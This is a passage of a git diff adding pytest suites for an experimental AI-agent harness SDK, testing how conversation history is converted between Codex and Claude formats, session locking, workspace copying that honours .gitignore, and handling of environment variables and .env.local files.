Both renderers, same rule. +""" + +from __future__ import annotations + +import json + +from ai.harnesses.experimental._handoff import ( + NOTE_PREFIX, + reasoning_count, + to_claude_records, + to_codex_items, +) +from ai.types.messages import ( + Message, + ReasoningPart, + TextPart, + ToolCallPart, + ToolResultPart, +) + +HISTORY = [ + Message(role="user", parts=[TextPart(text="Create recipe.txt")]), + Message( + role="assistant", + parts=[ + ReasoningPart(text="The user wants a file; Write is the tool."), + TextPart(text="Creating it."), + ToolCallPart( + tool_call_id="call_1", + tool_name="Write", + tool_args=json.dumps( + {"file_path": "/w/recipe.txt", "content": "two eggs"} + ), + ), + ], + ), + Message( + role="tool", + parts=[ + ToolResultPart( + tool_call_id="call_1", + tool_name="Write", + result={"ok": True}, + result_kind="json", + ) + ], + ), + Message(role="assistant", parts=[TextPart(text="Done.")]), +] + + +def test_codex_items_follow_the_rule() -> None: + items = to_codex_items(HISTORY) + kinds = [(i["type"], i.get("role")) for i in items] + assert kinds == [ + ("message", "user"), + ("message", "assistant"), # "Creating it." + ("function_call", None), # Write, name untouched + ("message", "user"), # the reasoning note, after its turn + ("function_call_output", None), + ("message", "assistant"), # "Done." + ] + call = items[2] + assert ( + call["name"] == "Write" + and json.loads(call["arguments"])["content"] == "two eggs" + ) + assert call["call_id"] == "call_1" + out = items[4] + assert out["call_id"] == "call_1" and out["output"] == json.dumps( + {"ok": True} + ) + note = items[3]["content"][0]["text"] + assert note.startswith(NOTE_PREFIX) and "Write is the tool" in note + + +def test_claude_records_follow_the_rule() -> None: + recs = to_claude_records(HISTORY, "sid-1", "/w") + roles = [r["type"] for r in recs] + # user prompt, assistant (text + tool_use), tool result, assistant — NO + # reasoning note: Claude's safeguards refuse replayed reasoning. + assert roles == ["user", "assistant", "user", "assistant"] + assistant = recs[1]["message"]["content"] + assert [b["type"] for b in assistant] == ["text", "tool_use"] + assert ( + assistant[1]["name"] == "Write" + and assistant[1]["input"]["content"] == "two eggs" + ) + assert assistant[1]["id"] == "call_1" + result = recs[2]["message"]["content"][0] + assert result["type"] == "tool_result" and result["tool_use_id"] == "call_1" + assert not any(NOTE_PREFIX in str(r["message"]["content"]) for r in recs) + assert reasoning_count(HISTORY) == 1 # what the adapter warns about + # a real chain, in the CLI's own store shape + assert recs[0]["parentUuid"] is None + assert all( + recs[i]["parentUuid"] == recs[i - 1]["uuid"] + for i in range(1, len(recs)) + ) + assert all(r["sessionId"] == "sid-1" and r["cwd"] == "/w" for r in recs) + + +def test_reasoning_is_never_the_agents_own_thought() -> None: + """No thinking block, no reasoning item: both were measured to fail — + one rejected, one silently ignored. It travels as a note, or not at all.""" + assert not any(i["type"] == "reasoning" for i in to_codex_items(HISTORY)) + blocks = [ + b + for r in to_claude_records(HISTORY, "s", "/w") + if isinstance(r["message"]["content"], list) + for b in r["message"]["content"] + ] + assert not any(b["type"] == "thinking" for b in blocks) + + +def test_empty_parts_produce_nothing() -> None: + assert ( + to_codex_items( + [Message(role="assistant", parts=[TextPart(text=" ")])] + ) + == [] + ) + assert ( + to_claude_records( + [Message(role="assistant", parts=[ReasoningPart(text="")])], + "s", + "/w", + ) + == [] + ) + + +def test_tool_results_are_strings_for_codex() -> None: + items = to_codex_items( + [ + Message( + role="tool", + parts=[ + ToolResultPart( + tool_call_id="c", tool_name="x", result=[1, 2] + ) + ], + ) + ] + ) + assert items[0]["output"] == "[1, 2]" diff --git a/tests/harnesses/experimental/test_session_lock.py b/tests/harnesses/experimental/test_session_lock.py new file mode 100644 index 00000000..6322babc --- /dev/null +++ b/tests/harnesses/experimental/test_session_lock.py @@ -0,0 +1,84 @@ +"""The workspace lock, on a real local workspace: atomic, stale-aware, +releasable.""" + +from __future__ import annotations + +import json +import os +import time +import uuid +from collections.abc import AsyncIterator +from pathlib import Path + +import pytest + +from ai.harnesses.experimental._session_lock import STALE_AFTER, SessionLock +from ai.harnesses.experimental.errors import SessionBusyError +from ai.workspaces.experimental import Local + +KIND = "lock-test" + + +@pytest.fixture +async def lock(tmp_path: Path) -> AsyncIterator[SessionLock]: + async with Local(tmp_path) as ws: + yield SessionLock(ws, KIND) + + +async def test_a_live_holder_blocks_a_second_acquire_until_release( + lock: SessionLock, +) -> None: + sid = str(uuid.uuid4()) + await lock.acquire(sid, pid=os.getpid()) + try: + with pytest.raises(SessionBusyError) as info: + await lock.acquire(sid, pid=os.getpid()) + assert info.value.holder_pid == os.getpid() + assert sid in await lock.running() + finally: + await lock.release(sid) + assert await lock.holder(sid) is None + await lock.acquire(sid, pid=os.getpid()) # free again + await lock.release(sid) + + +async def test_a_lock_whose_process_is_gone_is_reclaimed( + lock: SessionLock, +) -> None: + sid = str(uuid.uuid4()) + await lock.acquire(sid, pid=2**22 - 1) # no such process + try: + assert await lock.holder(sid) is None, "a dead pid holds nothing" + await lock.acquire(sid, pid=os.getpid()) # reclaimed, not refused + holder = await lock.holder(sid) + assert holder is not None and holder.pid == os.getpid() + finally: + await lock.release(sid) + + +async def test_a_pidless_lock_is_trusted_briefly_then_treated_as_abandoned( + lock: SessionLock, +) -> None: + sid = str(uuid.uuid4()) + await lock.acquire(sid) # a launch in progress: no pid yet + try: + with pytest.raises(SessionBusyError): + await lock.acquire(sid) + # Age it past the horizon and it is an abandoned launch. + path = Path(await lock.root()) / sid / "holder.json" + path.write_text( + json.dumps( + { + "pid": None, + "since": int(time.time() - STALE_AFTER - 1), + "client": "", + } + ) + ) + await lock.acquire(sid, pid=os.getpid()) + finally: + await lock.release(sid) + + +async def test_release_of_an_unheld_lock_is_harmless(lock: SessionLock) -> None: + await lock.release(str(uuid.uuid4())) diff --git a/tests/workspaces/__init__.py b/tests/workspaces/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/workspaces/experimental/__init__.py b/tests/workspaces/experimental/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/workspaces/experimental/conftest.py b/tests/workspaces/experimental/conftest.py new file mode 100644 index 00000000..59eabde2 --- /dev/null +++ b/tests/workspaces/experimental/conftest.py @@ -0,0 +1,143 @@ +"""Shared workspace fixtures. + +Every test here drives a REAL workspace — no fakes, no recorded doubles. + +WHERE it runs (local directory, Vercel Sandbox) must not matter: behavior +must be identical, full stop. The harness fixtures build on these (see +tests/harnesses/experimental/conftest.py). +""" + +from __future__ import annotations + +import os +import time +from collections.abc import AsyncIterator, Iterator +from pathlib import Path +from typing import TypedDict + +import pytest + +from ai.workspaces.experimental import Local, VercelSandbox, Workspace, copy +from ai.workspaces.experimental._sandbox import oidc_token_expiry + +ENV_FILE = Path(__file__).resolve().parents[3] / ".env.local" +"""`vercel env pull` output at the repo root, so the sandbox axis can run +locally. Deliberately not a dependency: one file, three lines, no dotenv.""" + +ENV_LOCAL: dict[str, str] = {} +"""What `ENV_FILE` sets. Applied to `os.environ` only for the harness and +workspace tests (see `env_local`), never for the rest of the suite; read it +directly for anything decided at collection time (a skipif marker).""" + +if ENV_FILE.exists(): + for line in ENV_FILE.read_text().splitlines(): + if "=" in line and not line.lstrip().startswith("#"): + key, value = line.split("=", 1) + ENV_LOCAL[key.strip()] = value.strip().strip('"') + + +@pytest.fixture(scope="package", autouse=True) +def env_local() -> Iterator[None]: + """Apply `.env.local` for this package's tests, and undo it after.""" + before = set(os.environ) + with pytest.MonkeyPatch.context() as mp: + for key, value in ENV_LOCAL.items(): + # Explicit local config OVERRIDES ambient env: the shell running + # pytest may already carry another agent's ANTHROPIC_* values. + mp.setenv(key, value) + yield + # `VercelSandbox(env_file=...)` exports the file's credentials into + # os.environ by design; keep them from outliving these tests too. + for key in set(os.environ) - before - ENV_LOCAL.keys(): + del os.environ[key] + + +class SandboxCredentials(TypedDict, total=False): + """The `VercelSandbox` arguments that authenticate it.""" + + token: str + team_id: str + project_id: str + + +def sandbox_credentials() -> SandboxCredentials | None: + """Vercel credentials, or None when the sandbox axis can't run.""" + exp = oidc_token_expiry(os.environ.get("VERCEL_OIDC_TOKEN")) + if ( + exp is not None + and exp < time.time() + and not os.environ.get("VERCEL_TOKEN") + ): + # Fail the RUN, once, with the cause. A run that outlives its token + # otherwise produces one setup error per sandbox test — 84 of them, + # 20 minutes in — and the word "expired" appears nowhere. + when = time.strftime("%Y-%m-%d %H:%M:%SZ", time.gmtime(exp)) + pytest.exit( + f"VERCEL_OIDC_TOKEN expired at {when}; run `vercel env pull`", + returncode=3, + ) + token = os.environ.get("VERCEL_TOKEN") + team = os.environ.get("VERCEL_TEAM_ID") + project = os.environ.get("VERCEL_PROJECT_ID") + if token and team and project: + return {"token": token, "team_id": team, "project_id": project} + if os.environ.get("VERCEL_OIDC_TOKEN"): + return {} # OIDC is picked up ambiently by the SDK + return None + + +@pytest.fixture +def project(tmp_path: Path) -> Iterator[Path]: + """A throwaway project directory with something to look at.""" + (tmp_path / "README.md").write_text( + "# demo\n\nA tiny project used by the e2e suite.\n" + ) + (tmp_path / "util.py").write_text("def add(a, b):\n return a + b\n") + yield tmp_path + + +@pytest.fixture +async def workspace(project: Path) -> AsyncIterator[Workspace]: + async with Local(project) as ws: + yield ws + + +@pytest.fixture +async def remote_workspace() -> AsyncIterator[Workspace]: + """The same contract, in a Vercel Sandbox microVM.""" + creds = sandbox_credentials() + if creds is None: + pytest.skip( + "needs VERCEL_TOKEN/TEAM_ID/PROJECT_ID or VERCEL_OIDC_TOKEN" + ) + async with VercelSandbox(**creds, execution_time_limit=900) as ws: + yield ws + + +@pytest.fixture( + params=["local", pytest.param("sandbox", marks=pytest.mark.sandbox)] +) +async def any_workspace( + request: pytest.FixtureRequest, project: Path +) -> AsyncIterator[Workspace]: + """Both workspace implementations, same contract. + + This fixture is the whole argument for having two backends: every + test using it must pass identically whether the files and processes live + on this machine or in a microVM. + """ + if request.param == "local": + async with Local(project) as ws: + yield ws + return + creds = sandbox_credentials() + if creds is None: + pytest.skip( + "needs VERCEL_TOKEN/TEAM_ID/PROJECT_ID or VERCEL_OIDC_TOKEN" + ) + async with VercelSandbox(**creds, execution_time_limit=900) as ws: + # The SAME project the local branch gets. Without this, every test + # ported onto any_workspace passed locally and failed in the VM with + # "util.py does not exist" — a fixture lying about parity. + await copy(project, ws / ".") + yield ws diff --git a/tests/workspaces/experimental/e2e/__init__.py b/tests/workspaces/experimental/e2e/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/tests/workspaces/experimental/e2e/conftest.py b/tests/workspaces/experimental/e2e/conftest.py new file mode 100644 index 00000000..90d7d981 --- /dev/null +++ b/tests/workspaces/experimental/e2e/conftest.py @@ -0,0 +1,12 @@ +"""Workspace tests that put an agent in the workspace. + +They need what the harness suite has: `harness_kind`, and an `any_workspace` +that can host a harness (credentials and config provisioned in a sandbox). +""" + +from tests.harnesses.experimental.conftest import ( + any_workspace as any_workspace, +) +from tests.harnesses.experimental.conftest import ( + harness_kind as harness_kind, +) diff --git a/tests/workspaces/experimental/e2e/test_copy.py b/tests/workspaces/experimental/e2e/test_copy.py new file mode 100644 index 00000000..dd6b465f --- /dev/null +++ b/tests/workspaces/experimental/e2e/test_copy.py @@ -0,0 +1,242 @@ +"""Copying trees between your machine and a workspace, in both directions. + +One verb, no direction flag: whichever side is a `WorkspacePath` is the +workspace. Going in is batched (0.2s against 75.5s for 200 files); coming +out is one archive, because there is no batched read. What the tree's +`.gitignore` excludes travels neither way unless asked for. +""" + +from __future__ import annotations + +from pathlib import Path + +import pytest + +from ai.workspaces.experimental import Workspace, copy +from tests.harnesses.experimental.conftest import exact + +pytestmark = pytest.mark.live + + +def tree(root: Path) -> Path: + (root / "pkg").mkdir(parents=True, exist_ok=True) + (root / "pkg" / "mod.py").write_text("def add(a, b):\n return a + b\n") + (root / "pkg" / "data.bin").write_bytes(bytes(range(256))) + (root / "README.md").write_text("# demo\n") + (root / ".gitignore").write_text("*.log\n.env\n") + (root / "debug.log").write_text("noise\n") + (root / ".env").write_text("SECRET=1\n") + (root / ".git").mkdir(exist_ok=True) + (root / ".git" / "HEAD").write_text("ref: refs/heads/main\n") + (root / "node_modules").mkdir(exist_ok=True) + (root / "node_modules" / "junk.js").write_text("// huge\n") + return root + + +async def test_copy_copies_a_tree( + any_workspace: Workspace, tmp_path: Path +) -> None: + source = tree(tmp_path / "src") + + await copy(source, any_workspace / "project") + + assert await any_workspace.read_text("project/pkg/mod.py") == ( + "def add(a, b):\n return a + b\n" + ) + assert await any_workspace.read_text("project/README.md") == "# demo\n" + + +async def test_copy_preserves_bytes( + any_workspace: Workspace, tmp_path: Path +) -> None: + """Binary survives: a source tree is not only text.""" + source = tree(tmp_path / "src") + + await copy(source, any_workspace / "project") + + assert await any_workspace.read_bytes("project/pkg/data.bin") == bytes( + range(256) + ) + + +async def test_copy_skips_the_usual_noise( + any_workspace: Workspace, tmp_path: Path +) -> None: + """Shipping .git and node_modules is the difference between a second + and a minute, so they are excluded unless asked for.""" + source = tree(tmp_path / "src") + + await copy(source, any_workspace / "project") + + assert not await any_workspace.exists("project/.git/HEAD") + assert not await any_workspace.exists("project/node_modules/junk.js") + + +async def test_copy_can_be_told_what_to_ignore( + any_workspace: Workspace, tmp_path: Path +) -> None: + source = tree(tmp_path / "src") + + await copy(source, any_workspace / "project", ignore=["*.md"]) + + assert await any_workspace.exists("project/pkg/mod.py") + assert not await any_workspace.exists("project/README.md") + + +async def test_copy_honors_gitignore( + any_workspace: Workspace, tmp_path: Path +) -> None: + """What a project keeps out of version control — secrets, build output — + is what nobody means to hand an agent.""" + source = tree(tmp_path / "src") + + count = await copy(source, any_workspace / "project") + + assert not await any_workspace.exists("project/.env") + assert not await any_workspace.exists("project/debug.log") + assert await any_workspace.exists("project/.gitignore") + assert count == 4 # pkg/mod.py, pkg/data.bin, README.md, .gitignore + + +async def test_copy_can_be_told_to_ship_ignored_files( + any_workspace: Workspace, tmp_path: Path +) -> None: + source = tree(tmp_path / "src") + + count = await copy(source, any_workspace / "project", gitignore=False) + + assert await any_workspace.read_text("project/.env") == "SECRET=1\n" + assert await any_workspace.exists("project/debug.log") + assert count == 6 + + +def landed_files(root: Path) -> list[str]: + return sorted( + p.relative_to(root).as_posix() for p in root.rglob("*") if p.is_file() + ) + + +async def agent_output(ws: Workspace) -> None: + """A tree as an agent leaves it: source, noise, and a file saying which + is which.""" + await ws.write_text("project/.gitignore", "*.log\nout/\n") + await ws.write_text("project/keep.py", "x = 1\n") + await ws.write_text("project/debug.log", "noise\n") + await ws.write_text("project/out/bundle.js", "//\n") + await ws.write_text("project/node_modules/junk.js", "//\n") + + +async def test_copy_out_honors_gitignore_too( + any_workspace: Workspace, tmp_path: Path +) -> None: + """The same rules whichever way the tree travels: build output stays + where the agent left it.""" + await agent_output(any_workspace) + + landed = tmp_path / "back" + count = await copy(any_workspace / "project", landed) + + assert landed_files(landed) == [".gitignore", "keep.py"] + assert count == 2 + + +async def test_copy_out_can_be_told_to_ship_ignored_files( + any_workspace: Workspace, tmp_path: Path +) -> None: + await agent_output(any_workspace) + + landed = tmp_path / "back" + count = await copy(any_workspace / "project", landed, gitignore=False) + + # node_modules is still gone: that is DEFAULT_IGNORE, not .gitignore. + assert landed_files(landed) == [ + ".gitignore", + "debug.log", + "keep.py", + "out/bundle.js", + ] + assert count == 4 + + +async def test_copy_out_can_be_told_what_to_ignore( + any_workspace: Workspace, tmp_path: Path +) -> None: + """`ignore` describes the tree, not the direction.""" + await any_workspace.write_text("project/notes.md", "# notes\n") + await any_workspace.write_text("project/code.py", "x = 1\n") + + landed = tmp_path / "back" + count = await copy(any_workspace / "project", landed, ignore=["*.md"]) + + assert landed_files(landed) == ["code.py"] + assert count == 1 + + +async def test_copying_a_missing_directory_raises( + any_workspace: Workspace, tmp_path: Path +) -> None: + with pytest.raises(FileNotFoundError): + await copy(tmp_path / "nope", any_workspace / "project") + + +async def test_the_agent_sees_what_you_copied( + harness_kind: str, any_workspace: Workspace, tmp_path: Path +) -> None: + from tests.harnesses.experimental.conftest import SPECS + + await copy(tree(tmp_path / "src"), any_workspace / ".") + + async with SPECS[harness_kind](workspace=any_workspace) as agent: + result = await agent.run( + "Read pkg/mod.py and reply with the function name only." + ) + + exact(result.text, "add") + + +async def test_copy_comes_back_out( + any_workspace: Workspace, tmp_path: Path +) -> None: + """The same verb, the other way: the workspace side is the one marked.""" + await copy(tree(tmp_path / "src"), any_workspace / "project") + + landed = tmp_path / "back" + count = await copy(any_workspace / "project", landed) + + assert count >= 3 + assert ( + landed / "pkg" / "mod.py" + ).read_text() == "def add(a, b):\n return a + b\n" + assert (landed / "pkg" / "data.bin").read_bytes() == bytes(range(256)) + + +async def test_copy_out_brings_back_what_the_agent_wrote( + harness_kind: str, any_workspace: Workspace, tmp_path: Path +) -> None: + """The point of copying out: collect what the agent produced.""" + from ai.harnesses.experimental import Allow, ApprovalContext, Decision + from tests.harnesses.experimental.conftest import SPECS + + async def approve(ctx: ApprovalContext) -> Decision: + return Allow() + + async with SPECS[harness_kind]( + workspace=any_workspace, approve=approve + ) as agent: + await agent.run( + "Create a directory called findings and write the word DONE into " + + "findings/report.txt. Then reply DONE." + ) + + # Not tmp_path/"findings": a local workspace IS tmp_path, so that would + # copy the directory onto itself. + landed = tmp_path / "collected" + await copy(any_workspace / "findings", landed) + + assert "DONE" in (landed / "report.txt").read_text() + + +async def test_two_plain_paths_is_refused(tmp_path: Path) -> None: + """Local-to-local is shutil's job, and saying so beats doing it badly.""" + with pytest.raises(TypeError, match="workspace"): + await copy(tmp_path / "a", tmp_path / "b") diff --git a/tests/workspaces/experimental/e2e/test_env.py b/tests/workspaces/experimental/e2e/test_env.py new file mode 100644 index 00000000..43eaf68b --- /dev/null +++ b/tests/workspaces/experimental/e2e/test_env.py @@ -0,0 +1,91 @@ +"""Environment variables belong to the workspace. + +A task's configuration — DATABASE_URL, NODE_ENV, test credentials — is a +property of the place the work happens, not of the agent doing it. It +reaches the agent's own commands and your `workspace.exec` calls alike. +""" + +from __future__ import annotations + +from pathlib import Path +from typing import Any + +import pytest + +from ai.harnesses.experimental import Allow +from ai.workspaces.experimental import Local +from tests.harnesses.experimental.conftest import SPECS + +pytestmark = pytest.mark.live + + +async def allow_all(ctx: Any) -> Allow: + return Allow() + + +async def test_workspace_env_reaches_the_agents_commands( + harness_kind: str, project: Path +) -> None: + """The agent inherits it, so the commands IT runs see it too — which is + the point: the task needs the variable, not the agent.""" + async with Local( + project, env={"HARNESS_SDK_PROBE": "from-workspace"} + ) as ws: + async with SPECS[harness_kind]( + workspace=ws, approve=allow_all + ) as agent: + result = await agent.run( + "Run the shell command `echo $HARNESS_SDK_PROBE` and reply " + "with " + "its output only." + ) + + assert "from-workspace" in result.text + + +async def test_workspace_env_reaches_your_own_commands(project: Path) -> None: + async with Local( + project, env={"HARNESS_SDK_PROBE": "from-workspace"} + ) as ws: + result = await ws.exec(["sh", "-c", "echo $HARNESS_SDK_PROBE"]) + + assert result.stdout.strip() == "from-workspace" + + +async def test_a_per_call_env_still_overrides(project: Path) -> None: + """The one-off escape hatch, for a command that needs something else.""" + async with Local( + project, env={"HARNESS_SDK_PROBE": "from-workspace"} + ) as ws: + result = await ws.exec( + ["sh", "-c", "echo $HARNESS_SDK_PROBE"], + env={"HARNESS_SDK_PROBE": "just-this-once"}, + ) + + assert result.stdout.strip() == "just-this-once" + + +async def test_two_workspaces_over_one_directory_can_differ( + harness_kind: str, project: Path +) -> None: + """Different environments means different workspaces, not different + agents: the environment describes the work, so two agents that need + different ones are doing different work.""" + async with ( + Local(project, env={"HARNESS_SDK_PROBE": "first"}) as one, + Local(project, env={"HARNESS_SDK_PROBE": "second"}) as two, + ): + async with SPECS[harness_kind]( + workspace=one, approve=allow_all + ) as agent: + a = await agent.run( + "Run `echo $HARNESS_SDK_PROBE`, reply with output only." + ) + async with SPECS[harness_kind]( + workspace=two, approve=allow_all + ) as agent: + b = await agent.run( + "Run `echo $HARNESS_SDK_PROBE`, reply with output only." + ) + + assert "first" in a.text + assert "second" in b.text diff --git a/tests/workspaces/experimental/test_env_file.py b/tests/workspaces/experimental/test_env_file.py new file mode 100644 index 00000000..59bfc2be --- /dev/null +++ b/tests/workspaces/experimental/test_env_file.py @@ -0,0 +1,100 @@ +"""`vercel link` + `vercel env pull` should be enough to get going. + +These need no sandbox: the file is read when the workspace is constructed, +so what it did is visible before anything boots. +""" + +from __future__ import annotations + +import os +from pathlib import Path + +import pytest + +from ai.workspaces.experimental import VercelSandbox + +ENV_LOCAL = """# Created by Vercel CLI +VERCEL_OIDC_TOKEN="oidc-abc123" +DATABASE_URL="postgres://example" +FEATURE_FLAG=on +""" + + +def test_the_project_env_stays_on_your_machine(tmp_path: Path) -> None: + """Reading .env.local authenticates us. + + It does not put the file's contents on another host — a constructor should + not ship a secrets file somewhere quietly. + """ + (tmp_path / ".env.local").write_text(ENV_LOCAL) + + ws = VercelSandbox(env_file=tmp_path / ".env.local") + + assert ws.env == {} + + +def test_forwarding_the_project_env_is_opt_in(tmp_path: Path) -> None: + (tmp_path / ".env.local").write_text(ENV_LOCAL) + + ws = VercelSandbox( + env_file=tmp_path / ".env.local", forward_project_env=True + ) + + assert ws.env["DATABASE_URL"] == "postgres://example" + assert ws.env["FEATURE_FLAG"] == "on" + # Even then, the credentials that reach Vercel are not task config. + assert "VERCEL_OIDC_TOKEN" not in ws.env + + +def test_credentials_are_made_available_to_the_sdk( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + (tmp_path / ".env.local").write_text(ENV_LOCAL) + monkeypatch.delenv("VERCEL_OIDC_TOKEN", raising=False) + + VercelSandbox(env_file=tmp_path / ".env.local") + + assert os.environ["VERCEL_OIDC_TOKEN"] == "oidc-abc123" + + +def test_the_ambient_environment_wins( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + """Standard dotenv manners: a variable already set is not replaced.""" + (tmp_path / ".env.local").write_text(ENV_LOCAL) + monkeypatch.setenv("VERCEL_OIDC_TOKEN", "already-set") + + VercelSandbox(env_file=tmp_path / ".env.local") + + assert os.environ["VERCEL_OIDC_TOKEN"] == "already-set" + + +def test_explicit_env_wins_over_the_file(tmp_path: Path) -> None: + (tmp_path / ".env.local").write_text(ENV_LOCAL) + + ws = VercelSandbox( + env_file=tmp_path / ".env.local", + forward_project_env=True, + env={"DATABASE_URL": "postgres://override"}, + ) + + assert ws.env["DATABASE_URL"] == "postgres://override" + assert ws.env["FEATURE_FLAG"] == "on" + + +def test_a_missing_file_is_not_an_error(tmp_path: Path) -> None: + ws = VercelSandbox(env_file=tmp_path / "nope.local") + + assert ws.env == {} + + +def test_the_file_is_found_by_walking_up(tmp_path: Path) -> None: + """`vercel env pull` writes it at the project root; you may well be + running from a subdirectory.""" + (tmp_path / ".env.local").write_text(ENV_LOCAL) + nested = tmp_path / "packages" / "api" + nested.mkdir(parents=True) + + ws = VercelSandbox(project_root=nested, forward_project_env=True) + + assert ws.env["DATABASE_URL"] == "postgres://example" diff --git a/tests/workspaces/experimental/test_extras.py b/tests/workspaces/experimental/test_extras.py new file mode 100644 index 00000000..bc97f1f4 --- /dev/null +++ b/tests/workspaces/experimental/test_extras.py @@ -0,0 +1,37 @@ +"""The sandbox extra is checked when the workspace is built, not on open. + +These run with or without the extra installed: a `None` entry in +`sys.modules` makes the import fail the way a missing package does. +""" + +import sys +import types + +import pytest + +import ai +from ai.workspaces import experimental as workspaces + + +def test_vercel_sandbox_needs_its_extra( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setitem(sys.modules, "vercel.sandbox", None) + with pytest.raises(ai.InstallationError, match=r"ai\[sandbox\]"): + workspaces.VercelSandbox() + + +def test_vercel_sandbox_needs_interactive_pty_support( + monkeypatch: pytest.MonkeyPatch, +) -> None: + # vercel-sandbox 0.7.0 on PyPI: the module is there, the feature is not. + released = types.ModuleType("vercel.sandbox") + released.__dict__["Sandbox"] = type("Sandbox", (), {}) + monkeypatch.setitem(sys.modules, "vercel.sandbox", released) + with pytest.raises(ai.InstallationError, match="open_interactive"): + workspaces.VercelSandbox() + + +def test_local_needs_no_extra(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setitem(sys.modules, "vercel.sandbox", None) + assert workspaces.Local(".").kind == "local" diff --git a/tests/workspaces/experimental/test_gitignore.py b/tests/workspaces/experimental/test_gitignore.py new file mode 100644 index 00000000..11a3de0d --- /dev/null +++ b/tests/workspaces/experimental/test_gitignore.py @@ -0,0 +1,337 @@ +"""What a project's `.gitignore` excludes never leaves your machine. + +These need no workspace: `walk_uploadable` decides what `copy()` sends, and +the decision is visible before anything moves. The last tests hold the whole +reading up against git itself. +""" + +from __future__ import annotations + +import os +import shutil +import subprocess +from collections.abc import Sequence +from pathlib import Path + +import pytest + +from ai.workspaces.experimental._base import walk_uploadable + + +def put(root: Path, *paths: str) -> None: + for path in paths: + file = root / path + file.parent.mkdir(parents=True, exist_ok=True) + file.write_text(f"{path}\n") + + +def files( + root: Path, *, ignore: Sequence[str] = (), gitignore: bool = True +) -> set[str]: + return { + relative + for _, relative in walk_uploadable(root, ignore, gitignore=gitignore) + } + + +def test_ignored_files_stay_behind(tmp_path: Path) -> None: + (tmp_path / ".gitignore").write_text("*.log\n.env\n") + put(tmp_path, "debug.log", ".env", "keep.py", "deep/trace.log") + + assert files(tmp_path) == {".gitignore", "keep.py"} + + +def test_the_flag_ships_everything(tmp_path: Path) -> None: + (tmp_path / ".gitignore").write_text("*.log\n.env\n") + put(tmp_path, "debug.log", ".env", "keep.py") + + assert files(tmp_path, gitignore=False) == { + ".gitignore", + "debug.log", + ".env", + "keep.py", + } + + +def test_ignore_globs_and_gitignore_both_apply(tmp_path: Path) -> None: + (tmp_path / ".gitignore").write_text("*.log\n") + put(tmp_path, "debug.log", "notes.md", "keep.py") + + assert files(tmp_path, ignore=["*.md"]) == {".gitignore", "keep.py"} + + +def test_a_trailing_slash_means_directories_only(tmp_path: Path) -> None: + (tmp_path / ".gitignore").write_text("build/\n") + put(tmp_path, "build/out.js", "src/build", "src/build.py") + + assert files(tmp_path) == {".gitignore", "src/build", "src/build.py"} + + +def test_a_bare_name_matches_at_any_depth(tmp_path: Path) -> None: + (tmp_path / ".gitignore").write_text("secrets\n") + put( + tmp_path, + "secrets/key", + "deep/secrets/key", + "flat/secrets", + "deep/ok.txt", + ) + + assert files(tmp_path) == {".gitignore", "deep/ok.txt"} + + +def test_a_leading_slash_anchors_to_the_file(tmp_path: Path) -> None: + (tmp_path / ".gitignore").write_text("/todo.md\n") + put(tmp_path, "todo.md", "docs/todo.md") + + assert files(tmp_path) == {".gitignore", "docs/todo.md"} + + +def test_a_slash_in_the_middle_anchors_too(tmp_path: Path) -> None: + (tmp_path / ".gitignore").write_text("docs/drafts\n") + put(tmp_path, "docs/drafts/a.md", "other/docs/drafts/a.md") + + assert files(tmp_path) == {".gitignore", "other/docs/drafts/a.md"} + + +def test_wildcards_do_not_cross_a_slash(tmp_path: Path) -> None: + (tmp_path / ".gitignore").write_text("a*c\n") + put(tmp_path, "abc", "a/b/c") + + assert files(tmp_path) == {".gitignore", "a/b/c"} + + +def test_negation_reinstates(tmp_path: Path) -> None: + (tmp_path / ".gitignore").write_text("*.log\n!important.log\n") + put(tmp_path, "important.log", "other.log") + + assert files(tmp_path) == {".gitignore", "important.log"} + + +def test_negation_cannot_reach_into_an_excluded_directory( + tmp_path: Path, +) -> None: + """gitignore(5): a parent that is excluded takes its children with it.""" + (tmp_path / ".gitignore").write_text("logs/\n!logs/keep.log\n") + put(tmp_path, "logs/keep.log", "logs/other.log") + + assert files(tmp_path) == {".gitignore"} + + +def test_the_everything_but_idiom(tmp_path: Path) -> None: + (tmp_path / ".gitignore").write_text("*\n!*/\n!*.py\n!.gitignore\n") + put(tmp_path, "a.py", "c.txt", "sub/b.py", "sub/d.txt") + + assert files(tmp_path) == {".gitignore", "a.py", "sub/b.py"} + + +def test_a_nested_file_wins_over_its_parents(tmp_path: Path) -> None: + (tmp_path / ".gitignore").write_text("*.log\n") + put(tmp_path, "keep.log", "sub/keep.log", "sub/other.log") + (tmp_path / "sub" / ".gitignore").write_text("!keep.log\n") + + assert files(tmp_path) == {".gitignore", "sub/.gitignore", "sub/keep.log"} + + +def test_double_star(tmp_path: Path) -> None: + (tmp_path / ".gitignore").write_text("**/gen\nassets/**\na/**/z.txt\n") + put( + tmp_path, + "gen/x", + "deep/gen/x", + "deep/ok", + "assets/img.png", + "assets/sub/img.png", + "a/z.txt", + "a/x/z.txt", + "a/x/y/z.txt", + "a/x/y.txt", + ) + + assert files(tmp_path) == {".gitignore", "deep/ok", "a/x/y.txt"} + + +def test_question_mark_and_classes(tmp_path: Path) -> None: + (tmp_path / ".gitignore").write_text( + "?.tmp\n[abc].dat\n[!x].out\n[0-9]*.bak\n" + ) + put( + tmp_path, + "1.tmp", + "12.tmp", + "a.dat", + "d.dat", + "x.out", + "y.out", + "3old.bak", + "old.bak", + ) + + assert files(tmp_path) == { + ".gitignore", + "12.tmp", + "d.dat", + "x.out", + "old.bak", + } + + +def test_comments_blank_lines_and_escapes(tmp_path: Path) -> None: + (tmp_path / ".gitignore").write_text( + "# a comment\n\n\\#literal\n\\!bang\nspaced\\ \nplain \n" + ) + put( + tmp_path, + "#literal", + "!bang", + "spaced ", + "plain", + "spaced", + "# a comment", + ) + + assert files(tmp_path) == {".gitignore", "spaced", "# a comment"} + + +def test_the_enclosing_repository_governs_a_subdirectory( + tmp_path: Path, +) -> None: + """Copying `apps/web` out of a monorepo: the root's rules still hold, + anchored where they were written, and so does `.git/info/exclude`.""" + (tmp_path / ".git" / "info").mkdir(parents=True) + (tmp_path / ".git" / "info" / "exclude").write_text("scratch/\n") + (tmp_path / ".gitignore").write_text("*.secret\n/top-only\n") + (tmp_path / "apps" / ".gitignore").parent.mkdir(parents=True) + 